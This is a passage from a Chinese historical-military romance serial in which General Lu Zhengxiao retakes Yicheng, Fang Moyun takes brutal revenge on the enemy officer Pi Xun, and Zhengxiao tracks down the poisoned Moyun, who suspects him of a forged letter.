“我是大喊着军令入营的，可不知道她听到否？”威行的语气中透着无力与痛苦，他抬起头，看向正啸，眼中满是愧疚：“属下实在无能……唯有赶回来禀报。”
正啸的胸膛起伏不定，攥紧的拳头在微微颤抖，他最终闭上眼睛，强迫自己压下心中的震怒与悲痛。片刻后，他沉声道：“这不是你的错。下去休息吧……”
这时，周总教头猛地转身，重重一拳砸在桌上：“边关将士怎会被下毒？！这是谁的疏忽？方茉云怎么会跑了？”
威行低下头，没有再说话。他的肩膀微微颤抖，像是背负着无尽的愧疚。正啸沉默了片刻，咬牙说道：“诸位都先回营歇息，明日一早攻打益城。”
众人看着正啸的青劲爆出而用力压制的神情，都深吸一口气退了出去。
千山和万莫站在一旁看向独坐在案几旁的正啸不敢说话，良久之后，正啸忽然起身走到了营帐中的水桶旁，忽然提起了水桶，将自己从头淋到脚，顿时千山和万莫都愣住了，如此深冬的寒夜……
正啸则缓缓地转身，眼中都是失神的痛楚，此刻就如自己想象的那般可怕，她消失在了茫茫深渊，而自己分身乏术，此刻又比自己想像的更可怕，因为自己必须用尽所有的理智来压抑自己，明日自己要带大军攻城，此战必须胜……
这一夜，营中的寒风如此刺骨，仿佛在为裴桥那些逝去的英魂哀鸣。正啸的背影显得无比沉重，仿佛整个夜色都压在了他的身上。
而在敌军峑戎大营中，夜色亦浓如墨染。幽戎随意地瘫坐在椅子上，衣襟微微敞开，露出结实的胸膛，依旧是那副懒散又带着几分放肆的模样。他的手中把玩着自己那块玉，冷玉在昏黄的灯火下反射出寒光。
忽然，营帐帘猛地一掀，集益快步走入，脸上带着压抑不住的愤怒。他抱拳行礼，语气中满是怒火：“主子！皮勋那畜生，居然不听大王和您的号令，屠了裴桥几乎半城的人！”
幽戎原本低垂的眼帘猛然抬起，那双眼睛深不见底，眸中似有光火一闪：“她人呢？”
集益愣了半刻，心里微微一沉。他当然知道幽戎问的她是指谁，故而犹豫了片刻，不情愿地说道：“皮勋……怎么可能抓到她，当年他哥国师都没赢她。”
幽戎听到这话，嘴角忽然弯起，笑意顷刻从眼底缓缓浮现。他抬起手指轻轻拨动着油灯的火苗，灯光一跳一跳，映得他的脸阴晴不定。
集益咬牙继续愤慨的说道：“主子！您三令五申，不能再像当年那般穷兵黩武，平白将无辜百姓践踏，给峑戎大军留下恶名！皮勋却不听号令，跟他哥一样残暴！”
幽戎闻言，眼角微微挑起，像是听到了好笑之言，嘴角笑意更深：“不过是一个追逐名利欲望的小人，没有爱恨情仇的加持，怎可达到国师当日的极致境界。”
集益愣了一下，没有接话。他清楚，幽戎提到国师，当年凭着对长公主近乎疯狂爱慕与支持，对峑戎肝脑涂地……
片刻后，集益才沉声继续问道：“主子，那是否要处置皮勋这畜生？”
幽戎忽然笑了，靠在椅背上，双手交叠于胸前望向集益：“需要我动手？你觉得……那疯丫头会放过他？当日国师奄奄一息之际，那丫头都没放过他。”
集益一愣，随即明白幽戎之意，他转念一想又试探着问道：“主子，那您明知皮勋定然抓不住她……那您还派他去？”
幽戎抬眸淡淡地看向集益，像是早已料定了一切：“我让他贴在城中的公文，贴了吗？”
集益点了点头，沉声回道：“公文贴到了裴桥。”
幽戎点了一下头，闭上双目伸手揉了揉太阳穴，动作随意而温和：“嗯，给她提个醒。”
集益听到这话，心中一愣，他忍了忍，可还是忍不了地说道：“主子，您是想提醒方茉云，卢正啸害她？”
幽戎并没有张开眼，嘴角扬起一丝淡淡的笑意，没再多说什么，集益亦没有再多问。
夜里幽戎走到营帐外，今日阴云蔽月，寒风凛冽，将军旗吹得猎猎作响，幽戎望向星空嘴角露出阴鸷的笑容，淡淡的说道；“方茉云，我是要提醒你，你我皆是深渊的宿命。”
翌日清晨，寒风裹挟着晨霜吹过大营，卢正啸一身铁甲，骑在高头大马上，目光如炬。他的身后，是整齐列阵的卢家军，士兵们手持兵械，刀剑泛着冷冽的光，战马喷吐着白气，仿佛等待着随时冲破这寂静的黎明。
号角声响起，卢正啸高高扬起手中的长枪，声音洪亮而坚定：“全军听令，直抵益城！”
大军缓缓推进，旌旗翻飞，铁蹄之声如雷鸣般在地平线上回荡。天光渐亮，战意却随着逼近益城而愈发高涨。
益城……地势险要，四周有
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长河环绕，加上坚固的高城墙，本是一座铜墙铁壁的堡垒。而峑戎大军是趁集梁守备松懈，毫无防范之时偷袭得手。
此刻峑戎大军的旌旗高高飘扬在城墙之上，锋利的戟矛密密麻麻地排列在城垛间，侵略之军变成了守军。
然而，今日城内驻守的并非幽戎，而是峑戎新提拔的大将布牧。幽戎受大王授意，将布牧派来历练，他异常英勇地带着峑戎大军横扫集梁的三座重城，最终驻守在益城。
布牧年少得志，不负其名，将峑戎铁骑的嚣张展现得淋漓尽致。他一边巩固城防，一边高调叫嚣，要在益城与卢家军一较高下，扬言道：“要将卢家军灭在益城。”
此刻，卢正啸的大军已兵临城下。战鼓声如雷滚滚，气势如洪涛。布牧站在高高的城墙之上，目光扫视着卢家军，冷笑着说道：“这便是所谓的卢家军？不过如此！”
卢家军的战鼓声中，卢正啸拔出佩剑，扬声喝道：“攻城！！”
随着一声令下，卢家军如潮水般向益城涌去，士兵的呐喊声在战场上炸开，响彻云霄。
直抵益城城下，卢家军的攻城器械一字排开，抛石车、冲撞木接连出击，巨大的石块砸向益城的城墙，发出震耳欲聋的轰鸣声。
城墙之上，箭矢如雨般洒下，卢家军的盾牌手顶着箭雨掩护攻城，云梯与攀爬的士兵迅速向城头逼近，战况异常激烈！
卢正啸骑马立在战场后方的高地上，冷静地指挥着军队，眼睛死死盯着益城的每一处动向。他知道，此战必然是一场苦战，但无论如何，卢家军必须为集梁夺回益城。
此时沧海将军抱拳毫不犹豫的喊道，“大将军让我带队上前增援！”
“沧海，你带先锋营上前增援攻城队！”正啸握紧缰绳，向众人下令：“罗虎、鹿里你两领虎翼营和骑射营从左右侧翼上前，掩护先锋部队强攻，待沧海带着先锋营和攻城队攻开城门，雄山、润吉随我带大军直抵关下，剿灭敌军，今日益城必破！”
“是！”众将马上接令。执礼深吸一口气，抬目望向益城城关，只要能攻破城关进城，益城便是卢家军的囊中之物。
沧海顷刻间豪迈的举起自己的长剑吼道：“先锋营，随我来！”
“是！”刚强威猛地先锋营顿时倾巢而出，随着沧海往关前奔腾而去，气势如虹，顿时震天的喊声响彻云霄。
城头上的峑戎将军布牧，面色凝重，他眼见卢家军一次次冲击，心中不禁感到一丝震撼的压力。他此刻才意识到，这支军队的战斗力居然如此强大，不仅攻势迅猛，而且阵型严密，毫无破绽。
布牧顿时狠狠攥紧手中的长刀，吼道：“给我将火油全部抬上来，往下倒，点火，给我烧掉他们的攻城器械！”
顷刻间，滚烫的火油从城墙上倾倒而下，城下顿时火光四起，卢家军的攻城器械陷入了一片火海。然而，卢家军并未因此退缩，士兵们顶着烈火继续进攻，用冲撞木狠狠撞击着城门，发出巨大的震响。
布牧的话语虽然狂妄，但目光却隐隐透露出几分焦虑。他心中清楚，峑戎军虽占据益城，但城内兵力有限，若无法迅速击溃卢家军进攻，战局将对他极为不利。
沧海带着先锋队丝毫没有犹豫的奔驰而来，他稳坐于疾驰的马上，挥舞起了长剑朝城关攻城队吼道：“顶住！”
“布牧将军，敌人越来越多！”此时同在城关之上皮勋有几分紧张的望向布牧问道，说完他望向四周，若是城关顶不住，自己也要找个稳妥的逃窜方向。
布牧却不顾一起的吼道：“卢正啸……有本事，你就来试试！给我烧死他们所有人！”
漫天的火球直卸而下，但卢家军素来军纪严明，他们哪怕死战都不会退一步！
“冲！”沧海毫不退让的向身边的先锋队下令吼道，可就在他话音未落的一瞬，他望向城关之上，顷刻间愣住了……
253.冰焰
一个单薄却笔挺的身影出现在风中，踏破云霄般立在益城城关的屋檐之上，周遭寒风呼啸，如刀般割裂着一切。而她身后的披风被吹得烈烈狂舞，好似炙火染红了天际。
关下本是一片呐喊声厮杀声，震耳欲聋，而此刻所有卢家军将士皆注目到城关屋檐顶上。
是方茉云！她手持弓箭，腰挎长剑，冷酷如寒冰，狠戾如利刃，好似凌驾于生死之间的战神。这一刻，所有卢家军的将士皆认出了她的身影，顿时则发出了震天的呐喊：“是方将军！”
顿时，呐喊声响彻天际，仿佛要将天地都撕裂。无数将士的军心瞬间被点燃，他们挥舞着手中的武器，疯狂地呐喊着她的名字：“方将军！方将军！”
一瞬间，卢家军的士气如同一场狂风骤雨，瞬间席卷整个战场。
然而，沸腾的卢家军中，只有一个人的脸色骤然变得惊慌，那就是正啸。
茉云没有任何停顿，目光冷冷地扫过城关，还未等敌人反应过来，迅速而从容地从背后的箭囊中抽出了一支箭，轻轻在手中转动，随即点燃箭头，弯弓搭箭，动作凌厉而流畅。
“嗖！”伴随着火箭破空的声音，一支支燃烧的箭，直直射向刚搬上城关的火油。紧接着，“轰！”地一声，火焰在城关之上猛然炸开，瞬间从火油桶蔓延开……炽烈的火光将整片城墙照得通红。
熊熊燃烧的烈焰在飞扬，峑戎士兵们尖叫声此起彼伏，四处疯狂逃窜。原本嚣张不可一世的峑戎守军，顿时乱作一团。
“冲啊！”城下的卢家军见此情景更是激荡，震天的呐喊声再次响起，他们以更加疯狂的姿态向城关发起冲击。
而方茉云却依然站在屋檐之上，未曾移动一步。她的目光冰冷地扫过城关，最终定在火海中那道狼狈的身影——皮勋。
下一刻，她忽然纵身一跃，从屋檐顶上跳到了城关之上。
“方茉云！”正啸的声音在混乱中响起，他猛地大吼道：“罗虎！鹿里！带骑射营随我来！”
罗虎和鹿里迅速领命，虎翼营和骑射营在顷刻间整军出动，跟随正啸不顾一切地策马冲出。
执礼看到正啸失控的这一幕，顿时满脸惊慌，大喊了一声：“少主！”
可正啸根本没有理会，他一马当先，直接冲入敌方弓箭手的射程范围。
“弓箭手，掩护她！射击！”卢正啸一声令下，骑射营的弓箭手迅速开弓，将城上慌乱的敌军弓箭手也压制得抬不起头。
而此时的茉云，早已在火海中找到了皮勋。她如同一柄劈风而来的利剑，冷酷无情地斩出了一条血路。皮勋转身便想逃，却被她一个翻身踹倒在地，挡在了去路上。
茉云看着脚下那猥琐而颤抖的皮勋，顷刻间嘴角露出了凌冽地笑意：“听说你找我！”
“不要杀我！不要杀我！”皮勋狼狈地摔倒在地，满脸惊恐地看着茉云，他拼命往后爬，“我什么都可以给你！你要钱吗？你想要什么，我都可以给你！别杀我！”
茉云冷冷地看着他，目光中毫无波澜。眼神在火光中闪烁着夺命的寒光，她的声音低沉而冷酷：“我不杀你，杀你，算是便宜了你。”
说罢，她反手拿起绳索，将皮勋的双手绑住，拖着他走到城墙边。皮勋疯狂地挣扎，口中喊着求饶，可茉云根本没有给他任何机会。她将他甩出城墙外，用绳索吊在了城楼上。
皮勋被吊在半空，身体在风中晃荡，嘴中发出恐慌的嚎叫。
茉云冷冷地目光扫过骑射营，猛地怒吼道：“射他！别射死了他！”
骑射营的士兵听令，顿时箭如雨下，无数箭矢射向皮勋，顿时将他淹没一般。
这一刻，卢正啸的目光牢牢锁定在城关之上。他深吸一口气，抬头看向茉云。她依旧站在那里，寒风吹动她的发丝与披风，她的眼神冰冷而孤傲，如猛兽般狠戾，好似失去了人的气息。
茉云就是这么将那些带着暗营标志之人，一个个丢出城关，挂在城墙之上。城关已空，城头只剩下凄厉的哀嚎……
她孤身冷冷地站在城关上，俯瞰而下，卢正啸望向她，双眉紧皱顷刻伸出了手，然而，四目相触之时，她的目光中却只剩下冰冷的寒戾，最终她转身消失在城墙的火光与烟尘中。
“方茉云！”卢正啸再次大喊道，可她的身影已然消失，只剩下那冰冷决绝的背影。
片刻后，城门被攻城木柱撞开，卢正啸率军冲入城关，与峑戎大军展开了惨烈的战斗，布牧在混战中被生擒，益城终于被卢家军夺回。
然而，战后卢正啸在益城的每一条街道、每一个角落寻找茉云，却怎么也找不到她的身影。益城的硝烟渐渐平息，可茉云亦好像消失了一般。
卢正啸回到营中，身旁一向沉默的万莫看着卢正啸忽然问道：“少主，茉云看见你了，为何不归营？”
千山马上一把拉住了万莫，示意他住嘴，可万莫却甩开了他哥的手，继续问道：“少主，茉云她怎么了？”
正啸站在原地一言不发，他能够感受到茉云眼中的冰冷狠戾，崔老将军和老马的离去重创了全军，何况是她，可是她的眼神中不只是悲痛，她到底还经历了什么？
此时，执礼看向正啸马上宽慰道：“也许是，崔老将军和老马的离去，她一时接受不了？”
营帐中的诸将都沉默了，只能将这一刻静默用以缅怀故去的英烈，威行、润吉、小马、太易和石川等人顿时低着头，肩膀止不住的颤抖，顿时泣不成声……
卢正啸没有仅仅沉浸于悲伤，他立即下达军令，命全军一鼓作气，收复全集梁众城！
卢家军的将士们带着对崔老将军和老马等人的哀思，心中满是复仇的怒火。而且方茉云如战神从天而降，为他们夺下益城城关的壮举，亦让军心高涨如烈焰。
几日功夫，卢家军便如狂风扫落叶般驱逐了集梁境内的峑戎残军，将被占领的所有城池一一收回，重新交还给了集梁的大王。
集梁大王感激涕零，本欲在王宫内设下盛宴，邀请卢正啸和卢家军诸将出席。然而，卢正啸却婉拒了大王的好意，让罗虎和鹿里带军回南营，自己一路风尘仆仆，带其余部下赶往裴桥。
当他踏入裴桥时，整个城池的景象如同经历一场噩梦。城内尸骨未尽，废墟间依然弥漫着战火后的焦灼气味。满城皆疮痍，墙壁、街道，无一不染上血红。百姓的哭喊声和四处残破的房屋，渲染出一种无尽的凄凉与绝望。
若辰此时也赶到了裴桥，身为南境巡抚主持全城大局。他深吸一口气，裴桥的每一处都透露着令人窒息的痛，好似一座人间炼狱。
正啸在城内四处寻找茉云的身影，从街巷到破败的民居，从城墙到河边，可是，无论他如何寻找，都找不到她的踪影。可当他走到公告墙前时，忽然停住了脚步……
风中，那张告示已然被吹得摇摇欲坠，边角已经残破不堪。告示上的字迹却依稀可见，只要看得懂之人，都能明白上面写的两行字，代表这什么——代表方茉云被卢家军当作弃子，成为挑衅峑戎的筹码。
正啸看着这张告示顿时咬紧了
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牙关握紧了双拳，身边的执礼和若辰也愣住了，两人同样震惊不已。
执礼顿时咬牙切齿地说道：“幽戎竟然是如此小人，恶毒至极！”
“如此荒谬，方将军定然不会信！”萧怀逸深吸一口气，看向正啸宽慰道。
若辰也皱起眉头，可是这信上的字，自己都看不出任何破绽，没有正啸这一身刚猛的武艺，怎么写得出这么苍劲的字，这是谁要如此害他们。
然而，正啸却没有发怒，他缓缓转身，语气中透着一种复杂的情绪：“伪造此信之人，不是幽戎。”
执礼和若辰、怀逸同时愣住，转头看向正啸，满脸不可置信。
“那是谁……”若辰望向正啸指着说道。
正啸没有回答，只是转身，继续看向满目疮痍的裴桥，他的背影显得格外沉重，眼神中都是深深的自责。他顷刻间知道，在城关之上茉云看向自己的眼神，是为何……
他返回裴桥边关，刚刚踏入营帐时，白神医匆匆而至，脸色阴沉，神情凝重。
“大将军，我还有个不好的消息要告知你。”白神医低声说道。
正啸停下脚步双眉微皱，目光一凛望向白神医。
“裴桥的刺史府、边关军营，以及崔老将军他们带领众将士帮城中百姓修葺之时所住之地，周边井水中都被人下了毒。我查看了崔老将军和老马的尸体，发现他们也中了这种毒，然后我让徒儿去了他们最后所居之地，厨房剩下的那锅羊肉汤里，便有此毒……这说明茉云定然亦中了此毒。”
正啸的目光猛然锐利起来：“毒……是什么？”
白神医脸色更沉了，缓缓说道：“此毒无色无味，并非致命毒药，但会导致中毒者身体无力、昏迷，但功力深厚之人当时并无大恙。但它会慢慢侵蚀人，中毒后不在半月内解毒，毒性便会入髓，恐危及性命。”
这句话如雷霆一般炸在正啸的耳边。他的目光瞬间变得惶恐，他拳头缓缓攥紧的说道：“她出事至今，已快十日了。”
白神医点了点头，语气沉重：“对，她虽然实力高深，但定然抵抗不了毒性的慢慢侵蚀。”
白神医的徒儿不言顿时再也忍不住冲上前说道：“哎呀，师傅你就是啰嗦，大将军，意思是赶快去找茉云，必须五日之内找到。不然……就都玩完了！”
正啸脸上的表情瞬间闪现了常人从未见过的惊慌失措，可他只能努力让自己保持冷静，看向白神医道：“白叔，这毒解药已研制出来否？”
“解药调制并不难，但我们必须尽快找到方将军，哪怕是以银针克制住她的毒性，再为她解毒亦可。问题是她不见人啊！”
正啸深吸了一口气，转头看向若辰：“若辰，你和沧海帮我守住裴桥！裴桥，绝不能再有任何闪失。”
若辰亦马上镇定住心神说道：“好，你是去找她吗？”
正啸点了一下头，随即看向白神医，语气果断且不容置疑：“白叔，你随我一起出发，找到她，您便可即刻为她解毒！”
“好！不言，你就留在军中继续医治伤员。”
“好好好！”不言马上点头说道。
翌日黎明时分，裴桥的天空阴云低垂，雪花悄然无声地飘落，为满目疮痍的城池披上一层薄薄的白纱，裴桥城刚渐渐苏醒，而卢正啸已出发……
他的背影，像是被拉长的孤影，在这场静默的大雪中，化作一抹执着的信念——无论多远，他都一定会找到她。
天地孤寂，风雪深冷，她该回来了，可她又在哪里呢？
254.寻人
卢正啸一路从裴桥往东，南境寻找茉云，夜以继日马不停蹄，不曾停歇片刻，就是深夜众人不得不修整之时，他亦难入眠。
他的眼中布满血丝地穿过边城、中州等地，每到一处，在府衙和故友的帮助下，几乎是将全城翻遍地寻找，却没有见到茉云的任何踪影。
心急如焚的他别无他法，只能继续一路往东，准备前往南华——茉云舅舅的家。
马蹄声急促，尘土飞扬，就在卢正啸疾驰而过的一处山野间，一只云雀突然从路旁的树丛中飞起，越过卢正啸的眼前。那瞬间，他手中紧握的缰绳猛地一拉，烈儿嘶鸣前蹄高扬，停了下来。
卢正啸勒住马儿，深吸了一口气，目光投向四周。身后的威行、执礼等人也急忙勒住马，望向已经疲惫不堪的正啸，但他的眼神却始终透着一股难以撼动的执念。
卢正啸目光望向执礼：“此处……是何地？”
执礼扫了一眼四周，确认地势后，看着手中地图抬头答道：“此地应是谷山县所辖之地。”
卢正啸愣了一瞬若有所思，忽然目光一凛，转头看向威行，沉声道：“威行，马上去县衙，查在籍名册，看看王胖子家住在哪里。”
“是！”威行转头便马上要去县衙，但他愣了一下，看向执礼，焦急而疑惑地问：“王胖子真名叫什么？”
还未等执礼想起，正啸笃定的回答道：“王胖，他媳妇彭氏名叫二花。”
威行愣随即立刻应道：“是！属下就去！”
与此同时，谷山县一处偏僻的小屋内，茉云正静静地坐在炭盆旁烤火。她的脸上没有一丝表情，眼神都有些涣散。炭火的热度传来，她的四肢却依旧冰冷麻木。直到远处传来马蹄声，由远及近，急促而凌乱。
茉云微微抬头，轻轻吐出一口气，语气平静却带着一丝凌冽：“终于还是来了。”
“老婆！你带茉云从后门往后山躲着，我来拦着前面！”一旁的王胖子猛地站了起来，满脸故作镇定的说，“爹，娘，你们就……你们就继续烤火，就当什么事都没有发生！”
二花看着自己的丈夫，脸上闪过一丝崇拜，坚定地点了点头：“好！”
“儿子，你小心点！”他娘担忧的说道。
王胖子深吸一口气点点头，二花带着茉云就从后门走了，王胖子随即开始在院子里四下寻找，最后操起一把锄头，站在院子中央一副视死如归的模样。
他爹娘愣了半刻，紧张地看着他的一举一动，两人不知如何是好，只能怔怔地看着。最终他爹伸手握住了他娘的手，他娘亦点点头。
马蹄声越来越近，威行下马如何喊门都未有人应，他便一脚踢开了大门，院门顿时大开。卢正啸飞身跃下，落地后直接冲入院中。
王胖子还未看清便已闭上眼睛，扛着锄头便冲了上去，怒吼道：“哪来的贼人！吃我一锄头！”
锄头高高举起，向正啸猛然砸去。正啸身形微微一侧，情急之下，用手臂用力一档，木制的锄把瞬间断裂成两截，锄头掉在地上，发出“哐嘡”的响声。
王胖子愣在原地，手里只剩下半截锄把，随即一屁股坐在了地上，满脸震惊地抬头看着眼前这个气势逼人的男人。
院中的众人也都被这一幕惊呆了，气氛一时间有些凝固。忽然，王胖子的脸上忽然闪过一丝喜悦的光芒，他腾地从地上爬起，热情洋溢地地冲上前来：“大将军！是你！”
正啸着急的望向他，问道：“茉云在吗？”
王胖子想都没想，脱口而出：“在啊，哎呀！我不知道是您！我以为是她说的来抓她之人，她……她去往后山了！”
正啸眸光一凛，猛地抓住王胖子的胳膊，沉声道：“带我去找她！”
王胖子连连点头，开心的说道：“走！走！大将军，你随我来！”
王胖子的父母却面面相觑，满脸错愕，他娘低声问他爹：“咱儿子刚刚不说，不论是谁，都绝不能带走茉云吗？怎么转背就……”
他爹无奈地摇了摇头，轻声回道：“年轻人的事……咱不懂！”
山风呼啸，寒意刺骨，落日的余晖洒在后山的枯枝上，卢正啸在王胖子的带领下，带着威行、执礼等人直奔后山而去，寒风呼啸中，他的眼神仓皇而急切，绝不能让她再从自己眼前消失！
他们一路疾行，在后山一处山间平地上，看到了二花的身影。
二花正倚着一棵老树站着，远远地看见卢正啸一行人走来，顿时开心地笑了，热情的冲上前：“夫君，大将军怎么来了！”
王胖子已经气喘吁吁的笑着说道：“茉云呢？大将军来找她了！”
二花指着身后的山林，愣了半刻说道：“啊？她刚刚进山了，她说自己一个人走得快。”
听到这话，卢正啸的眉头顿时拧成了一团。他转身看向众人，语气沉稳而冷静：“你们在此等我，我进山即可。”
威行和执礼对视一眼点点头，萧怀逸却按捺不住，一把抓住卢正啸的手臂，焦急地说道：“正啸哥，天寒地冻，你一个人进山太危险了，我们随你去吧！”
卢正啸顿时不容分说的怒斥道：“服从军令。”
执礼连忙拦住萧怀逸，威行也赶紧拉住他，低声说道：“放心，将军手中有剑，那些飞禽走兽无须担心，我们在此等候便是。”
萧怀逸看着卢正啸的背影，咬紧了牙，却也没有办法跟上去。
卢正啸跟着王胖子和二花快步走入后山。黄昏渐至，暮色一点点笼罩着山林，枯叶被寒风卷起，发出“沙沙”的声响，显得格外寂静又压抑。
王胖子一边走，一边嘟囔着：“茉云跑得可真快，这破山林……这么冷，她跑去哪了，她在家烤火都冷得发抖，这会儿她怎么不怕冷了。”
卢正啸深吸一口气，他知道茉云定然是毒性发作了，顿时在一处山崖边停了下来，他缓缓抽出了腰间的长剑。
王胖子一愣，眨了眨眼，忍不住看着四周问：“大将军，您干嘛？”
卢正啸忽然用力一甩，将长剑丢入了山崖下，剑在半空划过一道寒光，随即坠入山崖，不见踪影。
就在此时，他猛地抬起头仰天大吼道：“方茉云，我已弃剑，人就在此，若要杀我，你来便是！”
他的声音如雷霆般在山间回荡，震得山林中的鸟雀纷纷飞起，落叶飘散。
王胖子吃了一惊，嘴巴微张，呆呆地看着卢正啸。他身旁的二花也睁大了眼睛，一脸茫然。
就在片刻之间，一道寒光从林间闪现，剑气如虹，直逼卢正啸而来！
卢正啸却站在原地一动不动，既然毫无闪避之意。他的目光望向那道剑光，剑气停在了他的颌下，锋利的
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剑刃几乎贴在了他的颈项。
王胖子顿时瞪大了眼睛，二花更是不敢看的捂面站着。
而那握剑之人，终于显现在正啸的眼前，她瘦削的身影在落日余晖中显得格外单薄，面色惨白，眼中却都是狠戾冷漠的光——是茉云。
正啸的目光顿时一颤，看着眼前这个让他日夜牵挂、梦里几度惊醒的身影。
茉云却冷冷地看着他，眼中没有一丝暖意，声音冷如冰霜：“弃了剑，还如何灭我口？”
她的剑紧紧抵着正啸，寒芒凛冽锋刃微颤，只需稍稍用力，便能刺破他的喉咙。
正啸却站在原地没有丝毫闪躲，他目光坦然而温和，直直望向茉云，好似顷刻放下了所有的防备，哪怕茉云一剑刺下，他亦承受。
而茉云握剑的手在微微颤抖，却再未进分毫，剑锋停滞在半空……两人四目相触，宛如炙热的烈焰与至寒的冰霜在无声中激烈对撞。
时间像是停滞在此刻，而就在这一瞬间，茉云内里翻腾，已然抑制不住，一口鲜血涌上来，却被她倔强的紧紧含在口中，不愿显露丝毫的脆弱，但脚下终究踉跄一步，身躯不受控制地向下倒去。
正啸顷刻间上前，丝毫未在意近在咫尺的剑芒，一把将茉云拉入怀中，紧紧抱住。那一刻，他的手都在微微颤抖，抱得异常用力，好似要将她抱进自己身体一般。
“方茉云，我终于找到你了……”
茉云的眼神骤然一变，哪怕眼中的狠戾和冷漠无法消散。但她仍感受到他的的怀抱，竟然还是如此的温暖……可是，她的身体却越来越虚弱，支撑不住，最终在他的怀中昏了过去。
一旁的王胖子和二花本是愣在原地，看着这一幕，二花顿时又吃惊的看向王胖子：“她……怎么晕了？”
王胖子则六神无主的看着正啸，正啸瞬间一把抱起茉云，急促的转身说道：“快，带她回去，她中毒了！”
“中……中毒？”王胖子瞬间又惊慌了起来，张大着嘴巴看着正啸。
卢正啸紧紧抱着茉云，焦急的说道“必须马上解毒！王胖子，带路下山！”
王胖子这才晃过神拔腿就跑，一边跑一边喊道：“这边，这边，快点！快点！怎么……中……中毒了！”
正啸抱紧怀中昏迷的茉云，脚步沉稳而迅速，跟着王胖子飞快地冲下山去。威行他们看见卢正啸抱着茉云出现在眼前，顿时松了口气。
正啸经过威行之时吼道：“威行，速去接应白神医来！”
“是！”威行立刻转身上马，奔驰而去。
正啸抱着茉云跟着二花，进了王胖子家的客房，将茉云放在床榻之上，惊慌失措地摸着她的脉搏，好像还算平稳。
王胖子爹娘吃惊的看着，王胖子才气喘吁吁的解释道：“爹……娘……茉云中毒了！”
“中毒！”
“没事……没事啊，大将……军在，什么事……都没有！”王胖子慌张地宽慰他爹娘。
“哦！”他两才互相拉着手，镇定了几分，担忧的看着。
正啸俯身给茉云盖好被子，她的脸色苍白得如同白纸，没有一丝血色，明亮的双眸此刻紧闭，亦失去了神采，呼吸微弱得好似奄奄一息，好似随时都会被这世间的风吹散。
他深吸一口气，轻轻粗碰她的脸庞，拨开她凌乱的发丝……
255.不信
白神医迅速从县城骑马赶来，匆匆冲入房中，房间内，正啸正守在茉云的床边，寸步未离……
白神医没有浪费一刻，走到床边，沉声说道：“让我探脉。”
他坐下，伸出手按在茉云的腕上，细细探脉，眉头紧锁。片刻后，他终于松了一口气，缓缓说道：“还好，还来得及。”
此话一出，原本紧张的气氛稍稍缓和了一些，卢正啸站在一旁，原本紧绷的面容终于稍微放松了一些。
白神医随即打开随身携带的银针袋，将一根根细长的银针取出，熟练地为茉云施针，每一针都下得稳准狠。
威行跟着白神医进来的，在一旁忍不住松了一口气说道：“太好了！白神医定能医好！”
就在此刻，卢正啸忽然抬头，望向威行命令道：“你与千山一起，守在门外。没有我的允许，除了白神医，任何人不得踏入房门半步。”
威行愣了一刻，显然对正啸忽然冷厉的语气感到意外，但还是迅速抱拳应道：“是！”
他旋即走出房门，将门轻轻带上。执礼等人正在门外，他听到正啸在屋内的命令，目光一顿眼神中闪过一丝思虑。他本想说些什么，却犹豫了一下，最终还是默默站在门外没有出声。
过了一炷香的时间，房外传来了脚步声，王胖子和二花端着茶水走了过来，却被千山拦了。
“让他们进来！”正啸顷刻间侧目望向门口说道，千山和威行马上让开了路。
王胖子探头看了一眼，边走进去边奇怪地说道：“诸位将军怎么都站在门口啊？里面旁屋有地方坐呢！”
众人却都一言不发，军令如山，正啸未允，他们不能进去半步。正啸缓缓转头看了他们一眼，终于起身走到了门外。
屋外，执礼和萧怀逸都看向正啸，执礼终于忍不住轻声问道：“少主，你可有何吩咐？”
卢正啸缓缓开口，声音低沉却透着致命寒意：“回去查，是谁冒充我的笔迹，送了此信到峑戎大营。”
执礼闻言，瞳孔猛地一缩。威行则难以置信地看向正啸：“将军，您的意思是……军中有人冒充您的笔迹？那封信是我们的人写的？谁啊？东山？不可能！虽然他能模仿字迹，可他绝不是这样的人！”
“杨东山的双手模仿不出我的字，不是他。”卢正啸冷冷地扫了他们一眼，目光如利剑般锐利，语气中透着森寒的杀气，“若让我查出是谁，我定不会放过他。”
任谁都能从正啸的眼神中读出了他心中压抑着的滔天怒火，执礼当即抱拳，低声道：“是，属下定查明此事。”
卢正啸转身回到了房间，神情冰冷，他的拳头缓缓攥紧，在压抑着内心翻涌的怒意。那封信用心何其险恶，不仅让茉云身陷绝境，还导致崔老将军和老马殉国，裴桥血流成河，无论是谁，都必须为此付出代价。
他回到床边时，房中一片寂静，只有微弱的呼吸声回荡。茉云缓缓睁开了眼睛，眼神微微一动，显然是听见了他的话。可她的目光却依旧冷如若寒霜，带着拒人千里的疏离与不信任，全然无视了正啸的存在，又闭上了双眼。
正啸守在床旁沉默不语，眼神没有挪开半分，就这样静静守着。
半夜之时，茉云睁开了双眼，却顷刻感受到熟悉而沉稳地气息，正啸就睡在床边的竹躺椅上，亦没有丝毫防备。
她微微侧身，正啸便警觉的惊醒，茉云旋即闭上了双眼，正啸则起身靠到床边，轻轻的握着她的手，良久之后感受到她手暖了些，才将她的手轻轻的放进被子。
茉云能感受到暖意从手往全身弥漫，可那一行字如血淋淋的烙印般，又出现在自己脑中……
翌日，正啸依旧守在茉云身边寸步未离，执礼知其为何，那封信定然是正啸身边之人所写，用的皆是他的纸笔墨，而且此人内力何其深厚，才可模仿出正啸笔劲十足力道，故而毫无破绽……真是思之极恐，可这人是谁？
日上之时，白神医端着昨夜熬了一夜的解毒药走了进来，药香中透着几分苦涩，他将药放在床边，低声道：“茉云，此药要赶紧趁热服下。”
他轻唤了茉云几声，她的睫毛微微颤了颤睁开眼睛。这一次，她起身了，目光落在正啸的身上，却仍旧冷得刺骨。
茉云眉宇透着几分虚弱，语气却凌厉得如刀刃划过：“卢正啸，你考虑考虑，是否让我喝这碗药？如若我查出那信是你所写，我会要你命。你知道我定能查出，亦能杀你。”
话音一落，房间里的空气仿佛凝结了。白神医愣了一瞬，满眼震惊地看着茉云，而门外的人亦都能听见，彼此交换着不可置信的眼神，于他们而言，卢正啸是他们粉身碎骨亦会信赖之人。
茉云却浑然不在意众人错愕，她的脸色依旧苍白，眸子却深沉如寒潭，没有一丝波动。
正啸轻叹一口气，声音平静且低沉：“把药喝了。”
茉云抬手端起那碗药，眼神中闪过狠戾，嘴角浮现出一丝冷笑：“你可想好了！”
正啸眉头微蹙看向他，未等他开口，站在一旁地王胖子终于忍不住说道：“茉云，你连大将军都不信了？”
茉云嘴角的冷笑阴鸷狠戾，好似可将人逼入深渊：“对，不信。”
“你说，你说说你啊……”王胖子一时都不知道说什么。
